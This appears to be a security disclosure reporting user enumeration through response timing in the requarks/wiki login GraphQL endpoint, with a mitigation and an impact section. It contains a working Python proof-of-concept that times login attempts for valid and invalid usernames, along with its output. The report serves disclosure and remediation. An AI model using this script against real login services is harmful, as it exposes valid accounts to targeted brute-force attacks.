User Enumeration via Response Timing in requarks/wiki
Reported on
Sep 11th 2022
Description
There is a significant timing difference in the login functionality for valid and invalid usernames.
Proof of Concept
Steps to reproduce:
1. Attempt a Login with a valid user and an invalid user and observe the difference in the response time
Here is a small test script (alternatively we can see the response time in Burp Repeater)
import requests
url = "http://127.0.0.1:8000/graphql"
valid_user = [{"operationName":None,"variables":{"username":"admin@test.com","password":"abcd","strategy":"local"},"extensions":{},"query":"mutation ($username: String!, $password: String!, $strategy: String!) {\n authentication {\n login(username: $username, password: $password, strategy: $strategy) {\n responseResult {\n succeeded\n errorCode\n slug\n message\n __typename\n }\n jwt\n mustChangePwd\n mustProvideTFA\n mustSetupTFA\n continuationToken\n redirect\n tfaQRImage\n __typename\n }\n __typename\n }\n}\n"}]
invalid_user = [{"operationName":None,"variables":{"username":"doesnotexist@test.com","password":"abcd","strategy":"local"},"extensions":{},"query":"mutation ($username: String!, $password: String!, $strategy: String!) {\n authentication {\n login(username: $username, password: $password, strategy: $strategy) {\n responseResult {\n succeeded\n errorCode\n slug\n message\n __typename\n }\n jwt\n mustChangePwd\n mustProvideTFA\n mustSetupTFA\n continuationToken\n redirect\n tfaQRImage\n __typename\n }\n __typename\n }\n}\n"}]
for _ in range(3):
r = requests.post(url, json=valid_user, allow_redirects=False)
print(r.elapsed.total_seconds())
print('---')
for _ in range(3):
r = requests.post(url, json=invalid_user, allow_redirects=False)
print(r.elapsed.total_seconds())
Test results:
$python3 timing.py
0.276643
0.254176
0.251778
---
0.005052
0.004219
0.005233
We can see that there is a difference in response time of about 200ms. To account for inconsistencies in network traffic, the timing can be averaged over more than three requests to detect valid users reliably
Mitigation
This issue exists because a computationally expensive hash function is only executed when the username is valid. If the username is invalid, the hash function is not executed, resulting in the difference in response timing. In order to mitigate this, the hash function should be executed with a dummy input when the username does not exist.
Impact
An attacker is able to identify valid usernames. This could allow for further attacks such as brute force attacks on valid accounts.